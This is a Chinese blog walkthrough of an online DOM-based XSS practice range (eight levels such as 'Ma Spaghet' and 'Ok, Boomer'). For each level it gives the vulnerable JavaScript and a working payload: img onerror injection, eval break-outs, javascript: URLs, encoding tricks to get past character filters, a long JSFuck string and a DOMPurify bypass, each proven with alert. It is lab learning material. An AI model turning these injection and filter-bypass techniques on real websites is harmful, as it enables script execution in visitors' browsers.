dom破坏案例和靶场

最新推荐文章于 2025-05-08 11:15:37 发布
最新推荐文章于 2025-05-08 11:15:37 发布
阅读量1.3k 收藏 23
点赞数 29
文章标签： 笔记 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_66734903/article/details/141285268
版权

我使用的是在线dom型xss平台：

dom破坏案例

第一关Ma Spaghet!：

<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

分析：

首先分析这一串代码：(new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"

new URL(location)创建了一个新的URL对象,location表示当前页面的URL；.searchParams这是URL对象的一个属性，它会返回一个URLSearchParams对象，这个对象允许访问和操作URL的查询字符串；.get('somebody')是URLSearchParams对象的一个方法，它尝试获取查询字符串中名为somebody的参数的值；到这就很明显 这串代码的作用就是用URLSearchParams对象中get方法获取一个somebody的参数的值，如果有就设置h2的值为get获取的值 ，如果没有就设置为somebody+Toucha Ma Spaghet!，最后无论存不存在都会在后面加上Toucha Ma Spaghet!。

当get参数存在somebody的时候，h2回显

尝试:

试一试在somebody后加上<script>alert(1)</script>，它没有回显，为什么会这样？

原因:

spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"，h2的id是spaghet

解决:

要解决这个问题可以用.innerHTML将h2的标签替换掉
HTML 5 中指定不执行由innerHTML插入的<script>标签

实现

将?somebody=<script>alert(1)</script>替换成?somebody="<img src='x' οnerrοr='alert(1)'>"

实现网页：https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody="<img%20src=%27x%27%20οnerrοr=%27alert(1)%27>"

第二关JEFFF

分析:

<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

eval函数---js中可以将字符串当成js代码执行

setTimeout函数---异步函数，可以在指定时间后执行回调函数

可以看到h2用的是innertext函数，所以只能考虑eval函数做了

实现:

在变量jeff上着手

方法一：?jeff=abc";alert(1);"

方法二：?jeff=abc";alert(1)-"

第三关Ugandan Knuckles

<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

分析

代码虽然通过.replace(/[<>]/g, '')移除了<和>字符来减少XSS风险，但使用innerHTML函数意味着可以通过闭合双引号来实现onfocus

实现

实现代码：?wey=aaaaaa "onfocus = alert(1)     autofocus="

第四关Ricardo Milos

<form id="ricardo" method="GET">    

<input name="milos" type="text" class="form-control" placeholder="True" value="True"> </form>

<script>    

             ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')    

             setTimeout(_ => {        

                               ricardo.submit()

              }, 2000)

</script>

分析：

这段代码的意思是2秒后回调ricardo.submit(),这是一个表单方法，它会提交表单，如果表单的action属性被设置，表单数据将会被发送到那个URL；如果没有设置，则会发送到当前页面。提交位置是ricardo.action，刚好路径是get中ricardo提供，而action可以识别js伪协议

实现：

实现代码：?ricardo=javascript:alert(1)

第五关Ah That's Hawt

<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

分析：

通过代码知道它通过.replace过滤了(/[\(\`\)\\]/g, '')，那我们可以先将需要打入的代码进行实体编码，然后在将实体编码进行urlcode编码。 

alert(1337)==alert%26%2340%3B1337%26%2341%3B

实现：

实现代码：?markassbrownlee=<img src=1 οnerrοr=location="javascript:alert%26%2340%3B1337%26%2341%3B;">

第六关Ligma

balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma") balls = balls.replace(/[A-Za-z0-9]/g, '') eval(balls)

分析：

利用框架绕过：jsfuck.com

因为+在url传参时，会解码为空格，所以我们要对这些符号再次编码

实现：

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

第七关Mafia

mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

分析：

这一关跟上一关差不多但是限制了我们传参的长度所以以上办法已经不管用了，不过它过滤了符号和alert函数，但是没有过滤confirm 函数

实现：

方法一：?mafia=confirm(1)
方法二：?mafia=Function(/ALERT(1)/.source.toLowerCase())()

第八关Ok, Boomer

<h2 id="boomer">Ok, Boomer.</h2> <script>     boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")     setTimeout(ok, 2000) </script>

分析：

DOMPurify防御用户输入框架，它把危险属性几乎过滤完了，不过还有setTimeout(ok, 2000)

实现：

实现代码：?boomer=<a%20id=ok%20href=tel:alert(1)>

qq_66734903
关注
Pikachu靶场-xss详解
qq_53083285的博客
10-30 8025
Picachu靶场-xss跨站脚本漏洞概述跨站脚本漏洞类型及测试流程反射型XSS（post&get）存储型XSSDom型XSSxss-获取cookiexss-进行钓鱼xss-获取键盘记录xss盲打xss的过滤和绕过xss输出在href和js中的案例xss的防范措施 XSS-跨站脚本漏洞目录 跨站脚本漏洞概述 Cross-Site Scripting 简称为“CSS”，为避免与前端叠成样式表的缩写"CSS"冲突，故又称XSS。一般XSS可以分为如下几种常见类型： 1.反射性XSS; 2.存储型XSS;
WEB 攻防-通用漏-XSS 跨站脚本攻击-反射型/存储型/DOM&BEEF-XSS
weixin_45534587的博客
01-12 1270
XSS攻击，全称为跨站脚本攻击，是指攻击者通过在网页中插入恶意脚本代码，当用户浏览该网页时，恶意脚本会被执行，从而达到攻击目的的一种安全漏洞。这些恶意脚本可以窃取用户的敏感信息，如Cookie、会话令牌等，或者诱导用户执行不安全的操作，如点击恶意链接、下载恶意软件等。
复现dom破坏案例和靶场
m0_64525301的博客
08-17 548
通过URL查询参数jeff注入数据，使用分号提前结束签名的语句，空格的URL%20用来绕过某些简单的过滤，从而使浏览器弹出1337的警告框alert(1337)先引号进行闭合，再添加了HTML属性autofocus和一个事件处理器onfocus="alert(1377)"它会在元素获得焦点时执行JavaScript代码，用于在用户和页面交互时触发警告框通过URL中的JavaScript伪协议来执行XSS,URL查询参数ricardo作为注入点。
XSS-复现dom破坏案例和靶场
山月不问人间事
08-18 1157
首先是传给wey一个值，然后赋值给变量let wey,然后这里过滤了<>尖括号，最后将我们的变量wey内容传给Uganda，显示在输入框中，Uganda也带一个inner HTML的属性，所以我们不能使用script标签,那就看看其他的思路;可以看到括号丢失 ，因为url在传参时，会将我们的特殊符号进行解码，但我们传递的是html的实体编码，所以问题出现在了这里，那么我们再将实体编码再进行次url编码。所以我们这里只能换一种思路，他不能加标签，那我们看能不能直接闭合ma，之后执行我们的代码。
dom破坏案例和靶场(1-8关)
liyuanxiaocilang的博客
08-17 871
我使用的是一个在线的dom型平台，靶场链接：Challenges。
复现DOM破坏案例&靶场
GaoXianGaoXian的博客
08-18 406
复现DOM破坏案例&靶场
XSS--DOM破坏案例与靶场
weixin_63910421的博客
08-17 1274
靶场连接。
DOM破坏案例
m0_64734557的博客
08-17 877
DOM（Document Object Model）是一种跨平台和编程语言独立的接口，它允许程序或脚本动态地访问和更新文档内容、结构和样式。DOM将文档表示为一个树状结构，其中每个节点代表文档中的一部分，如元素、属性、文本等。通过DOM，开发者可以编写脚本来操作网页，添加、删除或修改页面元素，以及响应用户交互。
复现DOM破坏案例
weixin_61552310的博客
08-17 1131
这里的意思为获取url中的get参数somebody，如果有那么就设置h2的值为get参数的值，如果没有则为"Somebody" + " Toucha Ma Spaghet!href的值要遵守protocol:uri的格式，查看DOMPurify的源码，支持的合法的协议有mailto, tel, xmpp等。这里我们尝试闭合单引号后，让程序执行我们输入的alert(1)，然后把后面的部分注释掉。首先构造ok，id=ok，由于a标签会返回href的值，因此选择<a>标签作为构造对象。Ma Spaghet!
XSS- - - DOM 破坏案例与靶场
m0_65466288的博客
08-20 1177
这道题是将wey传进来的参数进行了一个过滤替换，将< >替换为空，放进input标签之中，那么我们的img、div等标签都不能用了，我们只能够在这个input标签中进行xss，还不能跟用户进行交互，那就只能使用事件来处理了，事件中有一个onfocus事件是聚焦，autofocus是自动聚焦，这样是不是就可以实现不进行交互的前提下触发这个事件。这6种字符的字符串，这些字符在 URL 中有特殊含义，或者可能与 URL 语法发生冲突，所以我们还需要进行urlcode编码。利用onerror事件来触发。
【漏洞研究深度】：ZVulDrill靶场背后的PHP漏洞案例分析
文章还提供了在ZVulDrill靶场中的实战演练，包括环境搭建、攻击实施和防御策略的探讨，以及针对这些漏洞的具体修复技巧。最后，本文展望了未来漏洞研究的新方向，特别是新兴技术与人工智能在漏洞发现和防
Web安全靶场实战资料包整理
该平台以一种较为友好和系统的教学方式提供了大量实用的练习案例，适合初学者和有一定基础的网络安全爱好者使用。 6. PhpStudy PhpStudy是一个集成了多种Web服务器环境配置的工具，可以方便地搭建PHP开发及测试环境...
网络安全学习必备：PHP实现的CyberSecurityBox离线靶场
XSS攻击分为存储型、反射型和基于DOM的XSS，每种类型都有其特定的利用方式和防御措施。 文件上传漏洞是另一个常见的安全漏洞，它发生在允许用户上传文件的网站上。如果开发者没有对上传的文件进行严格的类型检查和...
SpringBoot学习笔记（1）
weixin_74090771的博客
05-07 1080
SpringBoot概述以及日志配置
蓝桥杯单片机备战笔记
2301_79461876的博客
05-05 673
bit 是 C 语言中的一种数据类型，通常由特定编译器（如 Keil C51 或 SDCC）扩展支持，用于声明一个单比特变量。sbit定义：sbit 是“special bit”的缩写，是特定编译器（如 Keil C51）提供的关键字，用于声明直接映射到硬件寄存器（如端口、控制位）的单比特变量。十三、u8 i 和 int i 在for循环中引起的区别。
Maven使用exclusions排除依赖-笔记
最新发布
taotiezhengfeng的博客
05-08 805
介绍Maven 的<exclusions> 标签功能，并给出使用示例
嵌入式学习笔记 - STM32 SRAM控制器FSMC
qq_35771411的博客
05-05 306
一 SRAM控制器内部结构图：二 SRAM地址矩阵/寻址方式：SRAM的地址寻址方式通过行地址与列地址交互的方式存储数据三 STM32 地址映射 从STM32的地址映射中可以看出，FSMC控制器支持扩展4块外部存储器区域，每种存储器区域又可以支持4片存储器细分区域。
虚幻引擎5-Unreal Engine笔记之显卡环境设置使开发流畅
小勇博客
05-05 1098
步骤二：配置虚拟内存。方式一：系统自动管理。方式二：手动指定大小。初始大小：32768。
ESP32蓝牙开发笔记（十三）
qq_37669710的博客
05-06 878
是BLE服务发现的核心机制，通过属性组类型快速定位服务端功能模块。开发者需结合GATT规范与ATT协议特性，合理设计服务发现流程，并处理MTU限制及安全策略，以实现高效稳定的蓝牙通信。是 BLE 服务发现的核心机制，通过属性组批量返回句柄范围与类型信息，支撑 GATT 服务架构的灵活扩展。开发者需关注 ​MTU 限制分次请求策略和 ​错误处理，以实现高效稳定的服务发现流程。实际应用中，结合 Wireshark 抓包工具可快速验证服务端响应逻辑。
JavaScript DOM操作技巧与实战案例解析
DOM（文档对象模型）是Web开发中的一个重要概念，它是一个跨平台和语言的接口，允许程序和脚本动态地访问和更新文档内容、结构和样式。JavaScript作为一种在浏览器端广泛使用的脚本语言，通过DOM提供了丰富的API来...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值